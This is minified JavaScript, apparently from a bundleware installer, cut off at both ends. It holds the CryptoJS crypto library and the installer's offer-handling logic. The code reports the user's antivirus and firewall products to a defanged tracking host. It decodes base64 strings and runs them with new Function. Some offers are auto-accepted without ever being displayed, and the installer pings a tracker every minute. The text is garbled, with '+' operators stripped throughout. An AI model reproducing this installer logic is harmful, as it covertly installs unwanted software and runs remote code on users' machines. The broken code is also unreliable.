15],f=a[0],m=a[1],g=a[2],h=a[3],f=p(f,m,g,h,c,7,b[0]),h=p(h,f,m,g,e,12,b[1]),g=p(g,h,f,m,j,17,b[2]),m=p(m,g,h,f,k,22,b[3]),f=p(f,m,g,h,z,7,b[4]),h=p(h,f,m,g,r,12,b[5]),g=p(g,h,f,m,t,17,b[6]),m=p(m,g,h,f,w,22,b[7]),f=p(f,m,g,h,v,7,b[8]),h=p(h,f,m,g,A,12,b[9]),g=p(g,h,f,m,B,17,b[10]),m=p(m,g,h,f,C,22,b[11]),f=p(f,m,g,h,u,7,b[12]),h=p(h,f,m,g,D,12,b[13]),g=p(g,h,f,m,E,17,b[14]),m=p(m,g,h,f,x,22,b[15]),f=d(f,m,g,h,e,5,b[16]),h=d(h,f,m,g,t,9,b[17]),g=d(g,h,f,m,C,14,b[18]),m=d(m,g,h,f,c,20,b[19]),f=d(f,m,g,h,r,5,b[20]),h=d(h,f,m,g,B,9,b[21]),g=d(g,h,f,m,x,14,b[22]),m=d(m,g,h,f,z,20,b[23]),f=d(f,m,g,h,A,5,b[24]),h=d(h,f,m,g,E,9,b[25]),g=d(g,h,f,m,k,14,b[26]),m=d(m,g,h,f,v,20,b[27]),f=d(f,m,g,h,D,5,b[28]),h=d(h,f,m,g,j,9,b[29]),g=d(g,h,f,m,w,14,b[30]),m=d(m,g,h,f,u,20,b[31]),f=l(f,m,g,h,r,4,b[32]),h=l(h,f,m,g,v,11,b[33]),g=l(g,h,f,m,C,16,b[34]),m=l(m,g,h,f,E,23,b[35]),f=l(f,m,g,h,e,4,b[36]),h=l(h,f,m,g,z,11,b[37]),g=l(g,h,f,m,w,16,b[38]),m=l(m,g,h,f,B,23,b[39]),f=l(f,m,g,h,D,4,b[40]),h=l(h,f,m,g,c,11,b[41]),g=l(g,h,f,m,k,16,b[42]),m=l(m,g,h,f,t,23,b[43]),f=l(f,m,g,h,A,4,b[44]),h=l(h,f,m,g,u,11,b[45]),g=l(g,h,f,m,x,16,b[46]),m=l(m,g,h,f,j,23,b[47]),f=s(f,m,g,h,c,6,b[48]),h=s(h,f,m,g,w,10,b[49]),g=s(g,h,f,m,E,15,b[50]),m=s(m,g,h,f,r,21,b[51]),f=s(f,m,g,h,u,6,b[52]),h=s(h,f,m,g,k,10,b[53]),g=s(g,h,f,m,B,15,b[54]),m=s(m,g,h,f,e,21,b[55]),f=s(f,m,g,h,v,6,b[56]),h=s(h,f,m,g,x,10,b[57]),g=s(g,h,f,m,t,15,b[58]),m=s(m,g,h,f,D,21,b[59]),f=s(f,m,g,h,z,6,b[60]),h=s(h,f,m,g,C,10,b[61]),g=s(g,h,f,m,j,15,b[62]),m=s(m,g,h,f,A,21,b[63]);a[0]=a[0] f|0;a[1]=a[1] m|0;a[2]=a[2] g|0;a[3]=a[3] h|0},_doFinalize:function(){var b=this._data,n=b.words,a=8*this._nDataBytes,c=8*b.sigBytes;n[c>>>5]|=128<<24-c2;var e=u.floor(a/4294967296);n[(c 64>>>9<<4) 15]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360;n[(c 64>>>9<<4) 14]=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360;b.sigBytes=4*(n.length 1);this._process();b=this._hash;n=b.words;for(a=0;4>a;a ){c=n[a],n[a]=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360}return b},clone:function(){var b=v.clone.call(this);b._hash=this._hash.clone();return b}});t.MD5=v._createHelper(r);t.HmacMD5=v._createHmacHelper(r)})(Math);(function(){var u=CryptoJS,p=u.lib,d=p.Base,l=p.WordArray,p=u.algo,s=p.EvpKDF=d.extend({cfg:d.extend({keySize:4,hasher:p.MD5,iterations:1}),init:function(d){this.cfg=this.cfg.extend(d)},compute:function(d,r){for(var p=this.cfg,s=p.hasher.create(),b=l.create(),u=b.words,q=p.keySize,p=p.iterations;u.length<q;){n&&s.update(n);var n=s.update(d).finalize(r);s.reset();for(var a=1;a<p;a ){n=s.finalize(n),s.reset()}b.concat(n)}b.sigBytes=4*q;return b}});u.EvpKDF=function(d,l,p){return s.create(p).compute(d,l)}})();CryptoJS.lib.Cipher||function(u){var p=CryptoJS,d=p.lib,l=d.Base,s=d.WordArray,t=d.BufferedBlockAlgorithm,r=p.enc.Base64,w=p.algo.EvpKDF,v=d.Cipher=t.extend({cfg:l.extend(),createEncryptor:function(e,a){return this.create(this._ENC_XFORM_MODE,e,a)},createDecryptor:function(e,a){return this.create(this._DEC_XFORM_MODE,e,a)},init:function(e,a,b){this.cfg=this.cfg.extend(b);this._xformMode=e;this._key=a;this.reset()},reset:function(){t.reset.call(this);this._doReset()},process:function(e){this._append(e);return this._process()},finalize:function(e){e&&this._append(e);return this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(e){return{encrypt:function(b,k,d){return("string"==typeof k?c:a).encrypt(e,b,k,d)},decrypt:function(b,k,d){return("string"==typeof k?c:a).decrypt(e,b,k,d)}}}});d.StreamCipher=v.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var b=p.mode={},x=function(e,a,b){var c=this._iv;c?this._iv=u:c=this._prevBlock;for(var d=0;d<b;d ){e[a d]^=c[d]}},q=(d.BlockCipherMode=l.extend({createEncryptor:function(e,a){return this.Encryptor.create(e,a)},createDecryptor:function(e,a){return this.Decryptor.create(e,a)},init:function(e,a){this._cipher=e;this._iv=a}})).extend();q.Encryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize;x.call(this,e,a,c);b.encryptBlock(e,a);this._prevBlock=e.slice(a,a c)}});q.Decryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize,d=e.slice(a,a c);b.decryptBlock(e,a);x.call(this,e,a,c);this._prevBlock=d}});b=b.CBC=q;q=(p.pad={}).Pkcs7={pad:function(a,b){for(var c=4*b,c=c-a.sigBytes%c,d=c<<24|c<<16|c<<8|c,l=[],n=0;n<c;n =4){l.push(d)}c=s.create(l,c);a.concat(c)},unpad:function(a){a.sigBytes-=a.words[a.sigBytes-1>>>2]&255}};d.BlockCipher=v.extend({cfg:v.cfg.extend({mode:b,padding:q}),reset:function(){v.reset.call(this);var a=this.cfg,b=a.iv,a=a.mode;if(this._xformMode==this._ENC_XFORM_MODE){var c=a.createEncryptor}else{c=a.createDecryptor,this._minBufferSize=1}this._mode=c.call(a,this,b&&b.words)},_doProcessBlock:function(a,b){this._mode.processBlock(a,b)},_doFinalize:function(){var a=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){a.pad(this._data,this.blockSize);var b=this._process(!0)}else{b=this._process(!0),a.unpad(b)}return b},blockSize:4});var n=d.CipherParams=l.extend({init:function(a){this.mixIn(a)},toString:function(a){return(a||this.formatter).stringify(this)}}),b=(p.format={}).OpenSSL={stringify:function(a){var b=a.ciphertext;a=a.salt;return(a?s.create([1398893684,1701076831]).concat(a).concat(b):b).toString(r)},parse:function(a){a=r.parse(a);var b=a.words;if(1398893684==b[0]&&1701076831==b[1]){var c=s.create(b.slice(2,4));b.splice(0,4);a.sigBytes-=16}return n.create({ciphertext:a,salt:c})}},a=d.SerializableCipher=l.extend({cfg:l.extend({format:b}),encrypt:function(a,b,c,d){d=this.cfg.extend(d);var l=a.createEncryptor(c,d);b=l.finalize(b);l=l.cfg;return n.create({ciphertext:b,key:c,iv:l.iv,algorithm:a,mode:l.mode,padding:l.padding,blockSize:a.blockSize,formatter:d.format})},decrypt:function(a,b,c,d){d=this.cfg.extend(d);b=this._parse(b,d.format);return a.createDecryptor(c,d).finalize(b.ciphertext)},_parse:function(a,b){return"string"==typeof a?b.parse(a,this):a}}),p=(p.kdf={}).OpenSSL={execute:function(a,b,c,d){d||(d=s.random(8));a=w.create({keySize:b c}).compute(a,d);c=s.create(a.words.slice(b),4*c);a.sigBytes=4*b;return n.create({key:a,iv:c,salt:d})}},c=d.PasswordBasedCipher=a.extend({cfg:a.cfg.extend({kdf:p}),encrypt:function(b,c,d,l){l=this.cfg.extend(l);d=l.kdf.execute(d,b.keySize,b.ivSize);l.iv=d.iv;b=a.encrypt.call(this,b,c,d.key,l);b.mixIn(d);return b},decrypt:function(b,c,d,l){l=this.cfg.extend(l);c=this._parse(c,l.format);d=l.kdf.execute(d,b.keySize,b.ivSize,c.salt);l.iv=d.iv;return a.decrypt.call(this,b,c,d.key,l)}})}();(function(){for(var u=CryptoJS,p=u.lib.BlockCipher,d=u.algo,l=[],s=[],t=[],r=[],w=[],v=[],b=[],x=[],q=[],n=[],a=[],c=0;256>c;c ){a[c]=128>c?c<<1:c<<1^283}for(var e=0,j=0,c=0;256>c;c ){var k=j^j<<1^j<<2^j<<3^j<<4,k=k>>>8^k&255^99;l[e]=k;s[k]=e;var z=a[e],F=a[z],G=a[F],y=257*a[k]^16843008*k;t[e]=y<<24|y>>>8;r[e]=y<<16|y>>>16;w[e]=y<<8|y>>>24;v[e]=y;y=16843009*G^65537*F^257*z^16843008*e;b[k]=y<<24|y>>>8;x[k]=y<<16|y>>>16;q[k]=y<<8|y>>>24;n[k]=y;e?(e=z^a[a[a[G^z]]],j^=a[a[j]]):e=j=1}var H=[0,1,2,4,8,16,32,64,128,27,54],d=d.AES=p.extend({_doReset:function(){for(var a=this._key,c=a.words,d=a.sigBytes/4,a=4*((this._nRounds=d 6) 1),e=this._keySchedule=[],j=0;j<a;j ){if(j<d){e[j]=c[j]}else{var k=e[j-1];j%d?6<d&&4==j%d&&(k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255]):(k=k<<8|k>>>24,k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255],k^=H[j/d|0]<<24);e[j]=e[j-d]^k}}c=this._invKeySchedule=[];for(d=0;d<a;d ){j=a-d,k=d%4?e[j]:e[j-4],c[d]=4>d||4>=j?k:b[l[k>>>24]]^x[l[k>>>16&255]]^q[l[k>>>8&255]]^n[l[k&255]]}},encryptBlock:function(a,b){this._doCryptBlock(a,b,this._keySchedule,t,r,w,v,l)},decryptBlock:function(a,c){var d=a[c 1];a[c 1]=a[c 3];a[c 3]=d;this._doCryptBlock(a,c,this._invKeySchedule,b,x,q,n,s);d=a[c 1];a[c 1]=a[c 3];a[c 3]=d},_doCryptBlock:function(a,b,c,d,e,j,l,f){for(var m=this._nRounds,g=a[b]^c[0],h=a[b 1]^c[1],k=a[b 2]^c[2],n=a[b 3]^c[3],p=4,r=1;r<m;r ){var q=d[g>>>24]^e[h>>>16&255]^j[k>>>8&255]^l[n&255]^c[p ],s=d[h>>>24]^e[k>>>16&255]^j[n>>>8&255]^l[g&255]^c[p ],t=d[k>>>24]^e[n>>>16&255]^j[g>>>8&255]^l[h&255]^c[p ],n=d[n>>>24]^e[g>>>16&255]^j[h>>>8&255]^l[k&255]^c[p ],g=q,h=s,k=t}q=(f[g>>>24]<<24|f[h>>>16&255]<<16|f[k>>>8&255]<<8|f[n&255])^c[p ];s=(f[h>>>24]<<24|f[k>>>16&255]<<16|f[n>>>8&255]<<8|f[g&255])^c[p ];t=(f[k>>>24]<<24|f[n>>>16&255]<<16|f[g>>>8&255]<<8|f[h&255])^c[p ];n=(f[n>>>24]<<24|f[g>>>16&255]<<16|f[h>>>8&255]<<8|f[k&255])^c[p ];a[b]=q;a[b 1]=s;a[b 2]=t;a[b 3]=n},keySize:8});u.AES=p._createHelper(d)})();CryptoJS.mode.CFB=(function(){var CFB=CryptoJS.lib.BlockCipherMode.extend();CFB.Encryptor=CFB.extend({processBlock:function(words,offset){var cipher=this._cipher;var blockSize=cipher.blockSize;generateKeystreamAndEncrypt.call(this,words,offset,blockSize,cipher);this._prevBlock=words.slice(offset,offset blockSize)}});CFB.Decryptor=CFB.extend({processBlock:function(words,offset){var cipher=this._cipher;var blockSize=cipher.blockSize;var thisBlock=words.slice(offset,offset blockSize);generateKeystreamAndEncrypt.call(this,words,offset,blockSize,cipher);this._prevBlock=thisBlock}});function generateKeystreamAndEncrypt(words,offset,blockSize,cipher){var iv=this._iv;if(iv){var keystream=iv.slice(0);this._iv=undefined}else{var keystream=this._prevBlock}cipher.encryptBlock(keystream,0);for(var i=0;i<blockSize;i ){words[offset i]^=keystream[i]}}return CFB}());var firstCall=null;var secondCall=null;function checkPresent(base64code,resultCode){var code="";try{code=decodeBase64(base64code);code=code.replace(/%exitcode%/g,resultCode||"");var result=evalCode(code);return result}catch(err){return null}}function evalCode(code){var codeFunc=new Function(code);var result=codeFunc.call(this,[]);if(result===true||result===false){return result}else{var err={};err.message="no return";throw err}}function decodeBase64(base64code){var code="";try{var words=CryptoJS.enc.Base64.parse(base64code);code=CryptoJS.enc.Utf8.stringify(words)}catch(ex){code=Base64.decode(base64code)}return code}function checkMachineRestrictions(machineRestrictions){var restricted=false;$.each(machineRestrictions,function(i,value){value.type=value.type.toLowerCase();if(value.type!="db"&&value.type!="os"&&value.value.toLowerCase()!="mp_null"){restricted=restricted||("MP_" machineInfo[value.type]==value.value)}});return restricted}var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /=",decode:function(input){var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\ \/\=]/g,"");while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i ));enc2=this._keyStr.indexOf(input.charAt(i ));enc3=this._keyStr.indexOf(input.charAt(i ));enc4=this._keyStr.indexOf(input.charAt(i ));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output String.fromCharCode(chr1);if(enc3!=64){output=output String.fromCharCode(chr2)}if(enc4!=64){output=output String.fromCharCode(chr3)}}output=Base64._utf8_decode(output);return output},_utf8_decode:function(utftext){var string="";var i=0;var c=c1=c2=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string =String.fromCharCode(c);i }else{if((c>191)&&(c<224)){c2=utftext.charCodeAt(i 1);string =String.fromCharCode(((c&31)<<6)|(c2&63));i =2}else{c2=utftext.charCodeAt(i 1);c3=utftext.charCodeAt(i 2);string =String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i =3}}}return string}};var dataObject=null;var installerData;var machineInfo;var acceptedCount=0;var currOffer=-1;var step=-1;var loading=false;var installing=[];var finished=false;var mappInstalled=false;var exception=false;var currentOfferScreen=0;var wasSkipAll=false;var monetizationTypesAccepted=[];var executionID="";var specialLinks=["_TitPrivacy","_TitSetup","_TitFree","_TitHelp","_TitUninstall","_TitContact","_TitTerms"];var TRACKURL;var INSTALLED=0;var DECLINED=2;var ABORTED=3;var PRESENT=4;var NOCONFIRMED=5;var ACCEPTED=9;var SKIPALL=17;var PENDING=20;var MACHINE=85;var EXECUTIONERROR=91;var DISPLAYERROR=92;var INSTALLERROR=93;var PRECHECKERROR=94;var POSTCHECKERROR=95;var OFFERERROR=96;var NODISPLAYCOMPATIBLE=97;var WELCOME=0;var OFFERS=1;var INSTALLING=2;var FINISH=3;function getData(crypted){var decryptedText="CryptError";try{decryptedText=hexToString(crypted);installerData=JSON.parse(decryptedText);if(typeof installerData.extra==="string"){installerData.extra=JSON.parse(installerData.extra)}addLog(JSON.stringify(installerData));installerData.extra.requestHost=installerData.extra.requestHost.replace("kyle.","stan.")}catch(error){ForceError("Internal->" JSON.stringify(error) "->" crypted,"","");return}addTrace("DecryptedInternal");addLog("decrypted internal data");if(installerData.host==""){installerData.host=installerData.extra.requestHost.substring(installerData.extra.requestHost.indexOf(".") 1)}try{addLog(JSON.stringify(machineInfo));var apiUrl;addLog("getting machine info");var WinVer=machineInfo.os;addLog("parsing winver");WinVer=parseFloat(WinVer);addLog("getting url");apiUrl="hXXp://" installerData.extra.requestHost "/stan/api_war/" installerData.publisher "/" installerData.campaign "/" installerData.carrier "/" machineInfo.lan.toUpperCase() "/" getRegion().toUpperCase() "?browser=" installerData.usedBrowser;addLog(apiUrl);getResponseFromWrapper(cryptUrl(apiUrl),"","onDataRecivied","ForceError");addLog(WinVer.toString())}catch(error){ForceError("GetData->" JSON.stringify(error))}}function onException(data){try{if(data.message){data=data.message}if(dataObject&&dataObject.offers){for(var i=0;i<dataObject.offers.length;i ){var offer=dataObject.offers[i];offer.state=EXECUTIONERROR}}var msgText="An error has occurred";try{if(returnIdValue){msgText=returnIdValue("#_ExceptionText")||msgText}showMessage(msgText,"",false)}catch(err){}exception=true;addLog("exception");onExit()}catch(err){sendEx("onException->" JSON.stringify(err))}}function generateExecutionID(){var stringBuilder="";var currentdate=new Date();stringBuilder =currentdate.getHours();stringBuilder =currentdate.getMinutes();stringBuilder =currentdate.getMilliseconds();stringBuilder =installerData.uid||randomString(23);return stringBuilder}function randomString(len){var text="";var charset="abcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<len;i ){text =charset.charAt(Math.floor(Math.random()*charset.length))}return text}function onDataRecivied(data){try{addTrace("ApiSuccess");addLog("api response succes");dataObject=data;dataObject=JSON.parse(replaceResponse(dataObject,installerData,JSON.parse(dataObject),""));executionID=generateExecutionID();setBlankProfile();machineInfo.fav=FormatAntivirusName(machineInfo.av,dataObject.installerBehavior.antivirus);machineInfo.ffw=FormatAntivirusName(machineInfo.fw,dataObject.installerBehavior.antivirus);machineInfo.fas=FormatAntivirusName(machineInfo.as,dataObject.installerBehavior.antivirus);addLog(JSON.stringify(machineInfo));TRACKURL="hXXp://" installerData.extra.requestHost "/kenny/" dataObject.installerBehavior.track.service;addLog("track url->" TRACKURL);addLog("track type->" dataObject.installerBehavior.track.type);setTrackInterval();addLog("object parsed");addTrace("ObjectParsed");setInitialStates();addTrace("PostSetInitialStates");addLog("set initial states completed");showProfile()}catch(error){ForceError("DataRecivied->" JSON.stringify(error) "--","","","")}}function setBlankProfile(){if(installerData.url!=""){dataObject.installerBehavior.mappUrl=installerData.url}if(installerData.caption!=""){installerData.app=installerData.caption;dataObject.presentation.formCaption=installerData.caption}}function setLinks(){SetLink("_TitPrivacy",dataObject.presentation.links.privacyUrl,true);SetLink("_TitSetup",dataObject.presentation.links.setupUrl,true);SetLink("_TitFree",dataObject.presentation.links.freeUrl,true);SetLink("_TitHelp",dataObject.presentation.links.helpUrl,true);SetLink("_TitUninstall",dataObject.presentation.links.uninstallUrl,true);SetLink("_TitContact",dataObject.presentation.links.contactUrl,true);SetLink("_TitTerms",dataObject.presentation.links.termsUrl,true)}function setInitialStates(){for(var i=0;i<dataObject.offers.length;i ){var offer=dataObject.offers[i];offer.catchallMonetizations=[];offer.usedScreen=null;offer.score =1;if(offer.inactive==-1||!offer.inactive){if(checkMachineRestrictions(offer.offerBehavior.machineRestrictions)){offer.state=MACHINE}else{if(offer.offerBehavior.ownerCheck&&ownerCheck(offer.id,false)){offer.state=PRESENT}else{var checkResult;var ignorePresent=GetIgnorePresents(offer.id);if(ignorePresent==1){checkResult=false}else{if(ignorePresent==2){checkResult=true}else{checkResult=checkPresent(offer.offerBehavior.preCheck)}}if(checkResult==null){offer.state=PRECHECKERROR}else{if(checkResult){offer.state=PRESENT}else{offer.state=PENDING}}}}}else{offer.state=offer.inactive}}}var gratShowed=false;function openGratitudes(){if(gratShowed){return}gratShowed=true;if(mappInstalled&&dataObject.installerBehavior.gratitudeUrl!=null){openUrlOnDefaultBrowser(dataObject.installerBehavior.gratitudeUrl)}else{if(!mappInstalled&&dataObject.installerBehavior.abortUrl!=null){openUrlOnDefaultBrowser(dataObject.installerBehavior.abortUrl)}}}function generateUninstaller(){var values=Array();$.each(dataObject.offers,function(key,offer){if(offer.state==INSTALLED){$.each(offer.offerBehavior.uninstall,function(key,uninstall){var currentvalue=Array();currentvalue[0]=uninstall.uninstallKey;currentvalue[1]=uninstall.uninstallProcess;values.push(currentvalue)})}});createUninstaller(values)}function onAccept(){addLog("onAccept is loading = " loading);if(loading){return}loading=true;if(step==1){if(currOffer.length==1){var offerObject=dataObject.offers[currOffer[0]];var accepted=GetAccepted(dataObject.presentation.offerScreens[currentOfferScreen].argsDecline);if(accepted){acceptOffer(offerObject);offerObject.commandLine=GetCommandline(offerObject.commandLine,offerObject.argsDelimiter);acceptedCount }else{offerObject.state=DECLINED;changeScreen()}}else{$("._CBdecline").each(function(){var offerObject=dataObject.offers[$(this).attr("tag")];if($(this).is(":checked")){acceptOffer(offerObject)}else{offerObject.state=DECLINED}})}}goForward()}function onDecline(){addLog("onDecline is loading = " loading);if(loading){return}loading=true;if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];currObject.state=DECLINED})}changeScreen();goForward()}function onOmit(){addLog("onOmit is loading = " loading);if(loading){return}loading=true;$.each(dataObject.offers,function(key,offer){if(offer.state==PENDING){wasSkipAll=true;offer.state=SKIPALL}});goForward()}function ExitApplication(){openGratitudes();generateUninstaller();closeForm()}function TrackAndClose(){finished=true;track("ExitApplication","ExitApplication")}function exitBeforeEnd(){var result=showMessage(returnIdValue("#_ExitConfirm")||"Closing now the installer could leave some incomplete installations. Would you like to continue with the instalation process?","",true);if(result==false){if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];currObject.state=ABORTED})}else{if(step==2){for(var i=0;i<dataObject.offers.length;i ){var offer=dataObject.offers[i];if(typeof offer!=="undefined"&&offer.state==ACCEPTED){offer.state=ABORTED}}}}TrackAndClose()}}function onExit(){addLog("onExit");if(!dataObject){closeForm()}else{if(finished){ExitApplication()}else{if(exception){TrackAndClose()}else{exitBeforeEnd()}}}}function goForward(){addLog("go forward");updateValue($("._OffersShowing"),"",false);currOffersText="";printStates();if(step!=OFFERS||currOffer==null){step }hideClasses(["_StepElement"]);switch(step){case WELCOME:ChangeVisibility("_StepWelcome");var common=returnCommonNode("welcome");showCommon(common,"welcomeScreen",dataObject.presentation.mappRenderId);break;case OFFERS:ChangeVisibility("_StepOptions");showNextOffer();break;case INSTALLING:addUniqueTrace("RenderInstallStep");addLog("InstallScreen");ChangeVisibility("_StepInstalling");showCommon(returnCommonNode("install"),"installScreen");break;case FINISH:finished=true;if(dataObject.installerBehavior.hideOnInstall){hideForm(false,false)}track("ShowFinish","ShowFinish");break;default:sendEx("default on goforward");exception=true;onExit();break}}function ShowFinish(data){ChangeVisibility("_StepFinished");showCommon(returnCommonNode("finish"),"finishScreen")}function returnCommonNode(identifier){var common=undefined;$.each(dataObject.presentation.commonScreens,function(key,commonScreen){if(commonScreen.type==identifier){common=commonScreen}});return common}function searchNextAllowedOfferscreen(offerID,OfferScreenID,screens){if(OfferScreenID>screens.length-1){OfferScreenID=0}var currentOfferScreen=OfferScreenID;var returnData=null;while(true){if($.inArray(offerID,screens[currentOfferScreen].restrictedOffers)==-1){returnData=currentOfferScreen;break}else{if(currentOfferScreen>=screens.length-1){currentOfferScreen=0}else{currentOfferScreen }if(OfferScreenID==currentOfferScreen){break}}}return returnData}function nextOfferCallback(list){addSpeficicTrace("getNextOffer");currOffer=list;if(currOffer){addLog("loaded offers display");currOffersText="";if(currOffer.length==1){var result=searchNextAllowedOfferscreen(dataObject.offers[currOffer].id,currentOfferScreen,dataObject.presentation.offerScreens);if(result==null){onDisplayFail("bloqued")}else{currentOfferScreen=result;dataObject.offers[currOffer].usedScreen=dataObject.presentation.offerScreens[currentOfferScreen].id;createFrame(dataObject.presentation.offerScreens[currentOfferScreen].renderUrl dataObject.offers[currOffer].offerPresentation.renderId,dataObject.offers[currOffer].offerPresentation.renderStyle,"onDisplayFail","displayLoaded")}}else{showCommon(returnCommonNode("group"),"groupScreen")}}else{addLog("no offers");currOffer=null;goForward()}}function showNextOffer(){try{addSpeficicTrace("gettingNextOffer");startGettingNextOffer(dataObject.offers,dataObject.installerBehavior.maxSteps,returnCommonNode("group")!==undefined,nextOfferCallback)}catch(err){addLog(err.message)}}function onDisplayFail(reasonTxt){if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];if(reasonTxt!="bloqued"){currObject.state=DISPLAYERROR}else{currObject.state=NODISPLAYCOMPATIBLE}})}addLog(reasonTxt);goForward()}function setOfferObject(key,url,commandline,filename,name,waitToCheck,macBehavior){var newOffer={};newOffer.id=key;newOffer.url=url;newOffer.commandline=commandline;newOffer.filename=filename||name ".exe";newOffer.name=name;newOffer.checking=false;newOffer.completed=false;newOffer.macBehavior=macBehavior||"";if(waitToCheck==-1||typeof waitToCheck==="undefined"){newOffer.waitToCheck=10000}else{newOffer.waitToCheck=waitToCheck}return newOffer}function changeScreen(){currentOfferScreen ;if(dataObject.presentation.offerScreens.length-1<currentOfferScreen){currentOfferScreen=0}}function compareArraysRemoveNumbers(firstArray,secondArray){var combined=[];$.each(firstArray,function(key,element){if($.inArray(element,secondArray)!=-1){element=element.replace(/[0-9]/g,"");if($.inArray(element,combined)==-1){combined.push(element)}}});return combined}function acceptedCatchall(arrayTotal,arrayBloqued){var formatted=[];var resultArray=[];for(var i=0;i<arrayTotal.length;i ){var element=arrayTotal[i].replace(/[0-9]/g,"");if($.inArray(element,arrayBloqued)==-1){formatted.push(element)}}$.each(formatted,function(key,element){if($.inArray(element,resultArray)==-1){resultArray.push(element)}});return resultArray}function replaceCommandlineCachAll(offer,Accepted){var cachallCommandline="";var monAdded=compareArraysRemoveNumbers(offer.offerBehavior.monetizationTypes,Accepted);$.each(monAdded,function(key,mon){cachallCommandline =mon offer.argsDelimiter});offer.catchallMonetizations=acceptedCatchall(offer.offerBehavior.monetizationTypes,monAdded);cachallCommandline=cachallCommandline.slice(0,-1);if(offer.commandLine.indexOf("ÊtchAll%")!=-1){offer.commandLine=offer.commandLine.replace(/ÊtchAll%/g,cachallCommandline)}else{offer.commandLine=offer.commandLine cachallCommandline}}function acceptOffer(offer){acceptedRestrictions=acceptedRestrictions.concat(offer.offerBehavior.restrictions);acceptedRestrictions.push(offer.id);offer.state=ACCEPTED;if(offer.offerBehavior.catchAll){replaceCommandlineCachAll(offer,monetizationTypesAccepted)}$.merge(monetizationTypesAccepted,offer.offerBehavior.monetizationTypes)}function setNoDisplayStates(offers){for(var i=0;i<offers.length;i ){if(offers[i].state==PENDING&&$.inArray(offers[i].id,acceptedRestrictions)==-1&&!offers[i].offerBehavior.showDisplay){acceptOffer(offers[i])}}}function setTrackInterval(){track("","");var interval=setInterval(function(){addLog("autotracking");if(finished){addLog("trackend");clearInterval(interval);return}track("","")},60000)}var CryptoJS=CryptoJS||function(h,r){var k={},l=k.lib={},n=function(){},f=l.Base={extend:function(a){n.prototype=this;var b=new n;a&&b.mixIn(a);b.hasOwnProperty("init")||(b.init=function(){b.$super.init.apply(this,arguments)});b.init.prototype=b;b.$super=this;return b},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var b in a){a.hasOwnProperty(b)&&(this[b]=a[b])}a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},j=l.WordArray=f.extend({init:function(a,b){a=this.words=a||[];this.sigBytes=b!=r?b:4*a.length},toString:function(a){return(a||s).stringify(this)},concat:function(a){var b=this.words,d=a.words,c=this.sigBytes;a=a.sigBytes;this.clamp();if(c%4){for(var e=0;e<a;e ){b[c e>>>2]|=(d[e>>>2]>>>24-8*(e%4)&255)<<24-8*((c e)%4)}}else{if(65535<d.length){for(e=0;e<a;e =4){b[c e>>>2]=d[e>>>2]}}else{b.push.apply(b,d)}}this.sigBytes =a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=f.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d =4){b.push(4294967296*h.random()|0)}return new j.init(b,a)}}),m=k.enc={},s=m.Hex={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c ){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c =2){d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8)}return new j.init(d,b/2)}},p=m.Latin1={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c ){d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c ){d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4)}return new j.init(d,b)}},t=m.Utf8={stringify:function(a){try{return decodeURIComponent(escape(p.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data")}},parse:function(a){return p.parse(unescape(encodeURIComponent(a)))}},q=l.BufferedBlockAlgorithm=f.extend({reset:function(){this._data=new j.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=t.parse(a));this._data.concat(a);this._nDataBytes =a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,f=c/(4*e),f=a?h.ceil(f):h.max((f|0)-this._minBufferSize,0);a=f*e;c=h.min(4*a,c);if(a){for(var g=0;g<a;g =e){this._doProcessBlock(d,g)}g=d.splice(0,a);b.sigBytes-=c}return new j.init(g,c)},clone:function(){var a=f.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:f.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,d){return(new a.init(d)).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return(new u.HMAC.init(a,d)).finalize(b)}}});var 